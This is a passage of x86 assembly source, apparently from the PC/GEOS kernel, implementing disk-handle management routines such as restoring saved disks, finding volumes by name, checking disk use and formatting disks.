lookForDrive:
;
; Now see if we can find a drive by the name stored in the FSSavedDisk
; structure (terminated by a colon, of course).
;
push si
lea dx, ds:[si].FSSD_driveName
call DriveLocateByName
mov bx, si
pop si
jc noDrive
EC < tst bx >
EC < ERROR_Z SAVED_DISK_HAS_NO_DRIVE_SPECIFIER_FOR_DRIVE_NAME>
cmp es:[bx].DSE_fsd, di
je haveDrive
noDrive:
;
; Either the drive doesn't exist, or it's being run by some FSD other
; than the one that ran it when the disk was saved. In either case,
; we've no real idea what drive to use, so set bx to 0.
;
clr bx
haveDrive:
;
; We've put it off as long as possible. Upgrade our lock on the
; FSIR to be exclusive.
;
call FSDUpgradeSharedInfoLock ; fixes up ES...
;
; Give the FSD a chance to either verify the drive we've selected is
; the right one, or to tell us what drive to use, if we haven't a clue.
;
push bp
mov bp, di
mov di, DR_FS_DISK_RESTORE
call es:[bp].FSD_strategy
mov di, bp
pop bp
call FSDDowngradeExclInfoLock
jc doneJmp ; => FSD bitched; ax already an error
; code, but we need to unlock the FSIR
;
; Make sure we know what drive to use. If the FSD didn't complain, but
; was clueless nonetheless, we need to return an error telling the
; caller the drive doesn't exist anymore.
;
tst bx
jnz checkExistingDisks
mov ax, DRE_DRIVE_NO_LONGER_EXISTS
stc
doneJmp:
jmp done
checkExistingDisks:
;
; Now have the correct drive, so see if any known disk is for the
; drive and has the right 32-bit ID.
;
push bp
mov bp, offset FIH_diskList - offset DD_next
checkExistingLoop:
mov bp, es:[bp].DD_next
tst bp ; end of the road?
jz noExisting ; yes
cmp es:[bp].DD_drive, bx ; right drive?
jne checkExistingLoop ; no
mov ax, es:[bp].DD_id.low
cmp ds:[si].FSSD_id.low, ax ; low word of ID matches?
jne checkExistingLoop ; no
mov ax, es:[bp].DD_id.high
cmp ds:[si].FSSD_id.high, ax; high word of ID matches?
jne checkExistingLoop ; no
;
; The current disk is from the right drive and has the right ID, so
; we'll take it. Shift its offset into AX for return, clear the carry
; and boogie...
;
mov_tr ax, bp
pop bp
clc
jmp done
noExisting:
;
; No existing disk matches. If the disk was always valid before, we
; can just create a new one from scratch.
;
xchg bx, si ; ds:bx <- FSSavedDisk
; es:si <- DriveStatusEntry
mov al, ds:[bx].FSSD_flags
test al, mask DF_ALWAYS_VALID
jnz createNew
;
; Otherwise, we have to make sure the right disk is in the drive before
; we do that.
;
; Get the 32-bit ID for the disk currently in the drive.
;
call DriveLockExclFar
mov di, DR_FS_DISK_ID
mov bp, es:[si].DSE_fsd
call es:[bp].FSD_strategy
jc promptForDisk ; => no disk in the drive, so must
; prompt
;
; See if that ID matches the stored ID.
;
cmp cx, ds:[bx].FSSD_id.high
jne promptForDisk
cmp dx, ds:[bx].FSSD_id.low
je createNew
promptForDisk:
;
; Must ask the user to insert the disk. Point the registers at the
; appropriate places for the call and do it.
;
; NOTE: We must release our lock on the FSIR to allow the callback to
; call pretty much anything. This has the side effect of forcing us
; to go through the whole rigamarole again, as drives might have
; vanished/been unmounted, the disk might have been registered, etc.,
; while we weren't looking.
;
call DriveUnlockExclFar
pop bp
lea dx, ds:[bx].FSSD_driveName
lea di, ds:[bx].FSSD_name
mov cx, ss:[callback].offset
mov ss:[TPD_callVector].offset, cx
mov cx, ss:[callback].segment
mov ss:[TPD_callVector].segment, cx
mov si, bx ; ds:si <- FSSavedDisk, in case
; fixup needed
mov bx, ss:[passedBX]
FXIP< mov ss:[TPD_dataBX], bx >
call FSDUnlockInfoShared
stc
mov ax, DRE_REMOVABLE_DRIVE_DOESNT_HOLD_DISK
FXIP< mov ss:[TPD_dataAX], ax >
jcxz exit ; => no callback, so can't
; do spit
push bp
mov bp, ss:[passedBP]
NOFXIP< call ss:[TPD_callVector] >
FXIP< movdw bxax, ss:[TPD_callVector] >
FXIP< call ProcCallFixedOrMovable >
pop bp
jc exit
;
; User didn't cancel, so go through the whole process again.
;
jmp restoreLoop
createNew:
;
; Create a new disk handle for the beast, now we know it's in the
; drive.
;
; ds:bx = FSSavedDisk
; es:si = DriveStatusEntry
; al = DiskFlags for new disk
; bp saved on stack, so we can biff it.
;
mov cx, ds:[bx].FSSD_id.high; pass disk ID
mov dx, ds:[bx].FSSD_id.low
mov bp, es:[si].DSE_fsd ; and FSD to call
mov ah, ds:[bx].FSSD_media ; and type of disk
if DO_NOT_ANNOUNCE_UNNAMED_DISKS
mov bh, FNA_SILENT ; don't tell user if new disk
; is unnamed.
else
mov bh, FNA_ANNOUNCE ; tell user if new disk
; is unnamed....?
endif
push ds ; need to preserve this...
segmov ds, es ; ds <- FSIR
call DiskAllocAndInit ; unlocks drive
pop ds
;
; Recover frame pointer and load registers for return; whether we
; succeeded in creating the new handle or not, we've reached the
; end of our rope and must now hang in the wind...
;
pop bp
mov_tr ax, bx ; ax <- new disk handle
jnc done
mov ax, DRE_COULDNT_CREATE_NEW_DISK_HANDLE
stc
done:
;
; Release shared access to the FSIR. Doesn't affect any registers
;
call FSDUnlockInfoShared
exit:
.leave
ret
DiskRestore endp
FileSemiCommon ends
;--------------------------------------------------------------
Filemisc segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
InitDiskDesc
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Inits a disk handle, either by allocating a new one, or
by reusing a passed one
CALLED BY: DiskAllocAndInit, DiskRegisterCommon
PASS: cx:dx = 32-bit ID
al = DiskFlags
ah = MediaType for disk
bh = FSDNamelessAction
ds, es = FSIR locked shared
di = offset into FSIR of DiskDesc to reuse, or 0 to alloc
si = DriveStatusEntry offset of drive in which the disk
is located
bp = FSDriver to call
** drive locked for exclusive access
RETURN: carry clear if disk handle could be created:
bx = disk handle
carry set if disk handle couldn't be created:
bx = 0
ds = fixed up if pointing to FSIR on entry, else destroyed
** drive unlocked
DESTROYED: ds, ax, di
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
atw 7/21/93 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
InitDiskDesc proc far
.enter
;
; Start by initializing the skeleton descriptor with the contents
; of a passed in handle, if any - brianc 7/27/93
;
tst di
jz afterMove
;
; Don't overwrite the skeleton's DD_private field, because it
; points to a skeleton private chunk.
;
push cx, si, di
mov si, di ; ds:si = passed in handle
mov di, offset fsdTemplateDisk ; es:di = template
mov cx, size DiskDesc - size DD_private
.assert (offset DD_private + size DD_private eq size DiskDesc)
rep movsb
pop cx, si, di
afterMove:
;
; Store the parameters we were given into the skeleton descriptor
; we keep around for this purpose.
;
push bp, si, di
mov ds:[fsdTemplateDisk].DD_id.high, cx
mov ds:[fsdTemplateDisk].DD_id.low, dx
mov ds:[fsdTemplateDisk].DD_flags, al
mov ds:[fsdTemplateDisk].DD_media, ah
mov ds:[fsdTemplateDisk].DD_drive, si
;
; Now contact the FSD to have it initialize its part of the deal.
;
mov si, offset fsdTemplateDisk
mov ax, bx ; ah <- FSDNamelessAction
mov di, DR_FS_DISK_INIT
call ds:[bp].FSD_strategy
pop bp, si, di ; restore FSDriver, DiskDesc, and
; DriveStatusEntry
;
; Release exclusive access to the drive, always, as our caller expects
; it.
;
call DriveUnlockExclFar
mov bx, 0
jc done
;
; Now upgrade the shared FSIR lock to an exclusive one so we can copy
; the skeleton disk descriptor and put it in the chain.
;
call FSDUpgradeSharedInfoLock
;
; Allocate room for the DiskDesc itself and initialize it from what's
; in fsdSkeletonDisk.
;
push si, cx
mov cx, size DiskDesc
mov bx, di
tst di ;If re-using existing DiskDesc,
jnz noAlloc ; branch.
call LMemAlloc
mov_tr bx, ax ; bx <- new descriptor offset
mov di, bx
noAlloc:
mov si, offset fsdTemplateDisk
segmov es, ds
rep movsb
;
; Allocate room for the private data the driver has said it needs.
;
mov si, ds:[fsdTemplateDisk].DD_private
clr ax ; assume none needed
mov cx, ds:[bp].FSD_diskPrivSize
jcxz privDataCopied
call LMemAlloc
mov di, ax
rep movsb
privDataCopied:
mov ds:[bx].DD_private, ax
;
; Now link the new DiskDesc at the head of the list of known disks.
;
mov ax, bx
xchg ds:[FIH_diskList], ax
mov ds:[bx].DD_next, ax
pop si, cx
;
; All done with our resource-moving code, so release the exclusive.
;
call FSDDowngradeExclInfoLock
;
; Record the new handle as the last disk known in the drive, along
; with the current time.
;
mov ds:[si].DSE_lastDisk, bx
push bx
call TimerGetCount
pop bx
mov ds:[si].DSE_lastAccess, ax
clc
done:
.leave
ret
InitDiskDesc endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DiskAllocAndInit
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Allocate a new disk handle and initialize it.
CALLED BY: RESTRICTED GLOBAL
PASS: cx:dx = 32-bit ID
al = DiskFlags
ah = MediaType for disk
bh = FSDNamelessAction
ds = FSIR locked shared
si = DriveStatusEntry offset of drive in which the disk
is located
bp = FSDriver to call
** drive locked for exclusive access
RETURN: carry clear if disk handle could be created:
bx = disk handle
carry set if disk handle couldn't be created:
bx = 0
ds = fixed up if pointing to FSIR on entry, else destroyed
** drive unlocked
DESTROYED: ds, ax, di
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 12/10/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DiskAllocAndInit proc far
.enter
clr di
call InitDiskDesc
.leave
ret
DiskAllocAndInit endp
COMMENT @-----------------------------------------------------------------------
FUNCTION: DiskFind
DESCRIPTION: Given a volume name, searches the list of registered disks
to find one that has the name.
An additional search for a match in the remaining disk
descriptors is conducted to see if the match is unique.
CALLED BY: GLOBAL (Desktop)
PASS: ds:si - null terminated volume name
RETURN: carry set if error
ax - error code
VN_MATCH_NOT_FOUND
bx - 0
carry clear if no error
ax - status code
VN_MATCH_NOT_UNIQUE
VN_MATCH_UNIQUE
bx - disk handle
DESTROYED:
REGISTER/STACK USAGE:
bp - idata segment
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Cheng 2/90 Initial version
ardeb 7/16/91 Renamed & changed to use FSIR
-------------------------------------------------------------------------------@
DiskFind proc far
uses di, es, cx
.enter
call FileLockInfoSharedToES
mov di, offset FIH_diskList - offset DD_next
mov ax, DFR_NOT_FOUND ; assume no match
clr bx
diskLoop:
mov di, es:[di].DD_next ; es:di <- next descriptor
tst di
jz done
test es:[di].DD_flags, mask DF_STALE
jnz diskLoop ; stale, so don't return it
call CheckVolumeNameMatch ; check match
jc diskLoop ; nope -- go to next disk
cmp ax, DFR_NOT_FOUND ; first one found?
jne foundDuplicate ; nope -- signal this
mov ax, DFR_UNIQUE ; assume unique
mov bx, di ; bx <- disk handle
jmp diskLoop ; go look for duplicate
foundDuplicate:
mov ax, DFR_NOT_UNIQUE ; not the only one with the
; name, so flag it and stop
; now (only need to know that
; more than one exists, not
; how many exist)
done:
call FSDUnlockInfoShared
CheckHack <DFR_NOT_FOUND gt DFR_NOT_UNIQUE AND \
DFR_NOT_FOUND gt DFR_UNIQUE>
cmp ax, DFR_NOT_FOUND ; set the carry if the disk
; was found (both the possible
; return codes in the "found"
; case are below the code
; for "not found")
cmc ; but we need carry set if we
; didn't find it...
.leave
ret
DiskFind endp
COMMENT @-----------------------------------------------------------------------
FUNCTION: CheckVolumeNameMatch
DESCRIPTION: Utility routine used by DiskFind to compare the
sought volume name against that for the handle, dealing with
space-padding and so forth.
CALLED BY: INTERNAL (DiskFind)
PASS: es:[di].DD_volumeLabel = label against which to compare
ds:si - null-terminated name being sought
RETURN: carry clear if match
set if not
DESTROYED: cx
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Cheng 2/90 Initial version
-------------------------------------------------------------------------------@
CheckVolumeNameMatch proc near
uses si, di
.enter
add di, DD_volumeLabel ;es:di <- volume name for this disk
mov cx, MSDOS_VOLUME_LABEL_LENGTH
repe cmpsb
je done ; yup -- matched the whole way through
; (carry cleared by = comparison)
tst {byte}ds:[si-1] ; make sure source mismatched due to
; null-terminator
jz confirm ; yes -- go make sure rest is padding
noMatch:
stc
done:
.leave
ret
confirm:
;
; Make sure the rest of the chars in the disk handle's volumeLabel are
; just padding spaces.
;
push ax
mov al, ' '
repe scasb
pop ax
je done ; made it to the end, so yes...
jmp noMatch
CheckVolumeNameMatch endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DiskReRegister
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Re-register a disk to see if its name or write-protect
status has changed.
CALLED BY: FileCheckDiskWritable
PASS: es:bx = handle to re-initialize (FSIR locked shared)
RETURN: carry set if disk is bad
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 4/16/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DiskReRegister proc far
call PushAllFar
;
; Make sure the disk is in the drive and lock the drive for exclusive
; access.
;
mov si, bx
call DiskLockExcl
jc done
;
; Promote our shared lock on the FSIR to an exclusive one
;
call DiskReRegisterInt
;
; Release the exclusive on the drive
;
call DiskUnlockExcl
done:
mov bp, sp
mov ss:[bp].PAF_es, es ; in case FSIR moved...
call PopAllFar
ret
DiskReRegister endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DiskReRegisterInt
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Internals of DiskReRegister after all synchronization
points have been snagged.
CALLED BY: DiskReRegister, FSDReInitDisk
PASS: es:bx = DiskDesc to re-initialize
FSIR locked shared
drive locked exclusive
RETURN: carry set on failure
DESTROYED: ax, cx, dx, di, bp, ds
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 10/28/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DiskReRegisterInt proc far
uses si
.enter
segmov ds, es ; ds <- FSIR for efficiency
;
; Contact the drive's FSD to fetch the ID and flags of the disk
; currently in the drive.
;
mov di, DR_FS_DISK_ID
mov si, ds:[bx].DD_drive
mov bp, ds:[si].DSE_fsd
push bp
call ds:[bp].FSD_strategy
pop bp
jc done
;
; Store the new ID and flags & media (for dealing with FSDReInitDisk).
;
mov ds:[bx].DD_id.low, dx
mov ds:[bx].DD_id.high, cx
xchg ds:[bx].DD_flags, al
mov ds:[bx].DD_media, ah
;
; Figure if the user should be notified should the disk now turn out
; to be nameless. If the disk is currently unnamed, we won't notify
; the user should the disk continue to be nameless.
;
mov ah, FNA_ANNOUNCE ; assume named, so announce if
; disk now unnamed.
test al, mask DF_NAMELESS ; correct?
jz fetchName ; => correct.
mov ah, FNA_IGNORE ; currently unnamed, so do
; nothing if still unnamed
fetchName:
;
; Contact the drive's FSD to fetch the disk's volume name now.
;
push si
mov si, bx ; es:si <- DiskDesc
mov di, DR_FS_DISK_INIT
push bp
call ds:[bp].FSD_strategy
pop bp
pop si
done:
.leave
ret
DiskReRegisterInt endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DiskCheckInUse
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Determine if a disk handle is actively in-use, either by
an open file or by a thread having a directory on the disk
in its directory stack.
CALLED BY: GLOBAL
PASS: bx = disk handle
RETURN: carry set if the disk is in-use.
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 5/24/90 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DiskCheckInUse proc far
.enter
call PushAllFar
call DiskMapStdPath
mov cx, bx
mov di, SEGMENT_CS
mov si, offset DIU?_fileCallback
clr bx ; process whole list, please
call FileForEach
jc done
mov di, SEGMENT_CS
mov si, offset DIU?_pathCallback
call FileForEachPath
done:
call PopAllFar
.leave
ret
DiskCheckInUse endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DIU?_fileCallback
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Callback routine to determine if a file is open to a disk.
CALLED BY: DiskCheckInUse via FileForEach
PASS: bx = file handle
ds = kdata
cx = disk handle being sought
RETURN: carry set if file open on disk. This will stop traversal
and cause a carry-set return from DiskCheckInUse
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 3/ 6/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DIU?_fileCallback proc far
cmp cx, ds:[bx].HF_disk
je DIU?_callbackCommon
stc ; return carry clear to continue search
DIU?_callbackCommon label near
cmc
ret
DIU?_fileCallback endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DIU?_pathCallback
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Callback routine to determine if a path in a thread's
directory stack is on a particular disk.
CALLED BY: DiskCheckInUse via FileForEach
PASS: bx = path handle
di = disk handle for the path
cx = disk handle being sought
RETURN: carry set if path is on the disk. This will stop traversal
and cause a carry-set return from DiskCheckInUse
DESTROYED: nothing
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 3/ 6/92 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DIU?_pathCallback proc far
cmp cx, di
je DIU?_callbackCommon
clc
ret
DIU?_pathCallback endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DiskForEach
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Run through the list of registered disks, calling a callback
routine for each one until it says stop, or we run out of
disks.
CALLED BY: GLOBAL
PASS: ax, cx, dx, bp = initial data to pass to callback
di:si = far pointer to callback routine
(XIP geodes can pass virtual far pointers)
RETURN: ax, cx, dx, bp = as returned from last call
carry = set if callback forced early termination of processing
bx = last disk processed, if carry set, else 0
DESTROYED: di, si
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 7/17/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DiskForEach proc far
callback local fptr.far ; routine to call back \
push di ; set segment \
push si ; and offset
uses es
ForceRef callback
.enter
if FULL_EXECUTE_IN_PLACE
EC< push bx >
EC< mov bx, di >
EC< call ECAssertValidFarPointerXIP >
EC< pop bx >
endif
call FileLockInfoSharedToES
mov bx, offset FIH_diskList - offset DD_next
processLoop:
mov bx, es:[bx].DD_next
tst bx
jz done
call SysCallCallbackBPFar
jnc processLoop
done:
call FSDUnlockInfoShared
.leave
ret
DiskForEach endp
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DiskUnlockInfoAndCallFSD
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
SYNOPSIS: Utility routine employed by DiskFormat and DiskCopy to
call the strategy routine of an FSD given the drive
descriptor, but only after releasing a shared lock on
the FSInfoResource
CALLED BY: DiskFormat, DiskCopy
PASS: es:bx = DriveStatusEntry
di = FSD function to call
on stack:
bx to pass to driver
RETURN: whatever FSDriver returns
bx-to-pass removed from stack
DESTROYED: bx, ax, si (ax, si nuked before driver called)
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
ardeb 7/29/91 Initial version
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
DiskUnlockInfoAndCallFSD proc near passBX:word
fsdStrategy local fptr.far
.enter
;
; Copy the FSD's strategy routine to fsdStrategy
;
push ax
mov bx, es:[bx].DSE_fsd
mov ax, es:[bx].FSD_strategy.segment
mov ss:[fsdStrategy].segment, ax
mov ax, es:[bx].FSD_strategy.offset
mov ss:[fsdStrategy].offset, ax
pop ax
;
; Release shared access to the FSInfoResource
;
call FSDUnlockInfoShared
;
; Call the strategy routine passing it the BP we were passed.
;
mov bx, ss:[passBX]
call SysCallCallbackBPFar
.leave
ret @ArgSize
DiskUnlockInfoAndCallFSD endp
COMMENT @-----------------------------------------------------------------------
FUNCTION: DiskFormat
DESCRIPTION: Formats the disk in the specified drive.
CALLED BY: GLOBAL
PASS: al - drive number
ah - PC/GEOS media descriptor
MEDIA_160K, or
MEDIA_180K, or
MEDIA_320K, or
MEDIA_360K, or
MEDIA_720K, or
MEDIA_1M2, or
MEDIA_1M44, or
MEDIA_2M88
not currently supported:
MEDIA_FIXED_DISK for default max capacity
MEDIA_DEFAULT_MAX for default max capacity
bx - handle of disk to format, 0 if disk currently in drive
is known to be unformated, -1 if state of drive not
known
bp - DiskFormatFlags
cx:dx - vfptr to callback routine, initialized only if
DFF_CALLBACK_PCT_DONE or DFF_CALLBACK_CYL_HEAD set
in bp
ds:si - ASCIIZ volume name
RETURN: carry set on error
error code in ax:
FMT_DONE (= 0) if successful
FMT_INVALID_DRIVE
FMT_DRIVE_NOT_READY
FMT_ERR_WRITING_BOOT
FMT_ERR_WRITING_ROOT_DIR
FMT_ERR_WRITING_FAT
FMT_BAD_PARTITION_TABLE
FMT_ERR_READING_PARTITION_TABLE
FMT_ABORTED
FMT_SET_VOLUME_NAME_ERR
FMT_CANNOT_FORMAT_FIXED_DISKS_IN_CUR_RELEASE
FMT_ERR_DISK_IS_IN_USE
FMT_ERR_WRITE_PROTECTED
if successful (else 0):
si:di - bytes in good clusters
dx:cx - bytes in bad clusters
DESTROYED: ax,bx
Callback:
PASS:
ax - percentage done
RETURN:
carry set to CANCEL
DESTROYED:
nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
Formats for floppies are low-level, ie. all data will be lost.
Formats for fixed disks proceed as track verifies. The FAT is rebuilt.
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
Cheng 1/90 Initial version
-------------------------------------------------------------------------------@
if FULL_EXECUTE_IN_PLACE
CopyStackCodeXIP segment resource
DiskFormat proc far
EC< test bp, mask DFF_CALLBACK_PCT_DONE or mask DFF_CALLBACK_CYL_HEAD >
EC< jz xipSafe >
EC< push bx, si >
EC< movdw bxsi, cxdx >
EC< call ECAssertValidFarPointerXIP >
EC< pop bx, si >
EC< xipSafe: >
mov ss:[TPD_dataBX], handle DiskFormatReal
mov ss:[TPD_dataAX], offset DiskFormatReal
GOTO SysCallMovableXIPWithDSSI
DiskFormat endp
CopyStackCodeXIP ends
else
DiskFormat proc far
FALL_THRU DiskFormatReal
DiskFormat endp
endif
DiskFormatReal proc far
uses es, ds
.enter
;
; Make sure the drive can support the passed format.
;
call DriveTestMediaSupport
LONG jc badMediaSpec
;
; See if the disk handle has been passed or is known to not exist.
;
inc bx ; -1 => unknown?
jz registerCurrentDisk ; right -- try register
dec bx ; 0 => unformatted?
jz lockDriveExcl ; right -- skip check
;
; Disk handle was discovered before and passed in, so see if the thing
; is currently in-use.
;
call DiskCheckInUse
LONG jc diskInUse
;
; Disk not currently in-use, but make sure the thing's in the drive.
;
call FileLockInfoSharedToES
EC < call AssertDiskHandle >
push si, bp
mov si, bx ; es:si <- DiskDesc
call DiskLockFar
LONG jc formatAbortedDuringValidate
call DiskUnlockFar
pop si, bp
jmp verifyDiskWritable
notYetFormatted:
clr bx ; pass no disk handle
jmp lockDriveExcl
registerCurrentDisk:
;
; State of drive is unknown. Attempt to register the disk that may
; be in there right now.
;
call DiskRegisterDiskSilently
jc notYetFormatted ; => unformatted, so can't be in-use
;
; There's a valid disk in there, so make sure it's not currently
; in-use.
;
call DiskCheckInUse
jc diskInUse ; choke
call FileLockInfoSharedToES
verifyDiskWritable:
;
; Make sure the disk is writable before we attempt to format it.
;
call FSDCheckDestWritable
call FSDUnlockInfoShared
jnc lockDriveExcl
mov ax, FMT_ERR_WRITE_PROTECTED
jmp fail
lockDriveExcl:
;
; Make sure, after all that, that the drive actually supports
; formatting.
;
push si
call FileLockInfoSharedToES
call DriveLocateByNumber
jc noSuchDrive
test es:[si].DSE_status, mask DES_FORMATTABLE
jz cannotFormat
;
; Gain exclusive access to the drive for the duration.
;
call DriveLockExclFar
;
; All systems are go. Mark the drive as busy for an extended period
; and go call the FSD.
;
ornf es:[si].DSE_status, mask DES_BUSY
pop di ; di <- volume label
push si ; FSFA_dse
push bx ; FSFA_disk
mov bx, si ; es:bx <- DriveStatusEntry,
push bp ; FSFA_flags
push ds, di ; FSFA_volumeName
push ss:[TPD_dgroup] ; FSFA_ds
push cx, dx ; FSFA_callback
push ax ; FSFA_media, FSFA_drive
mov ax, sp ; ss:bx <- FSFormatArgs
push ax ; when FSD is finally called
mov di, DR_FS_DISK_FORMAT ; di <- function to perform
call DiskUnlockInfoAndCallFSD
;
; Mark the drive as no longer busy and release its exclusive regardless
; of the error code.
;
mov bx, sp ; clear stack of args w/o biffing carry
CheckHack <offset FSFA_dse+size FSFA_dse eq size FSFormatArgs>
lea sp, ss:[bx].FSFA_dse
pop si ; si <- DSE offset
pushf
call FileLockInfoSharedToES
call DriveUnlockExclFar
call FSDUnlockInfoShared
mov si, ax ; return good-bytes-high in SI, not AX,
; but be sure to leave error code in
; AX, if such there be...
popf
jc fail ; handle return values on error
done:
.leave
ret
formatAbortedDuringValidate:
call FSDUnlockInfoShared
pop si, bp
mov ax, FMT_ERR_DISK_UNAVAILABLE
jmp fail
badMediaSpec:
mov ax, FMT_ERR_DRIVE_CANNOT_SUPPORT_GIVEN_FORMAT
jmp fail
diskInUse:
mov ax, FMT_ERR_DISK_IS_IN_USE
jmp fail
noSuchDrive:
pop si ; recover volume label offset (use
; pop instead of two inc sp's to
; save space; this code ain't
; time-critical)
mov ax, FMT_ERR_INVALID_DRIVE_SPECIFIED
jmp fail
cannotFormat:
pop si ; recover volume label offset
mov ax, FMT_ERR_DRIVE_CANNOT_BE_FORMATTED
fail:
;
; Return 0 bytes good, 0 bytes bad and carry set.
;
clr si
mov di, si
mov cx, si
mov dx, si
stc
jmp done
DiskFormatReal endp
COMMENT @-----------------------------------------------------------------------
FUNCTION: DiskCopy
DESCRIPTION: Copies the contents of the source disk to the destination disk,
prompting for them as necessary.
CALLED BY: GLOBAL
PASS: dh - source drive number
dl - destination drive number
al - DiskCopyFlags
cx:bp - callback routine (virtual pointer if XIP'ed geode)
RETURN: ax - DiskCopyError/FormatError
0 if successful
DESTROYED: nothing
Interface for callback function:
DCC_GET_SOURCE_DISK
passed:
ax - DCC_GET_SOURCE_DISK
dl - 0 based drive number
callback routine to return:
ax = 0 to continue, non-0 to abort
DCC_REPORT_NUM_SWAPS
passed:
ax - DCC_REPORT_NUM_SWAPS
dx - number of swaps required
callback routine to return:
ax = 0 to continue, non-0 to abort
DCC_GET_DEST_DISK
passed:
ax - DCC_GET_DEST_DISK
dl - 0 based drive number
callback routine to return:
ax = 0 to continue, non-0 to abort
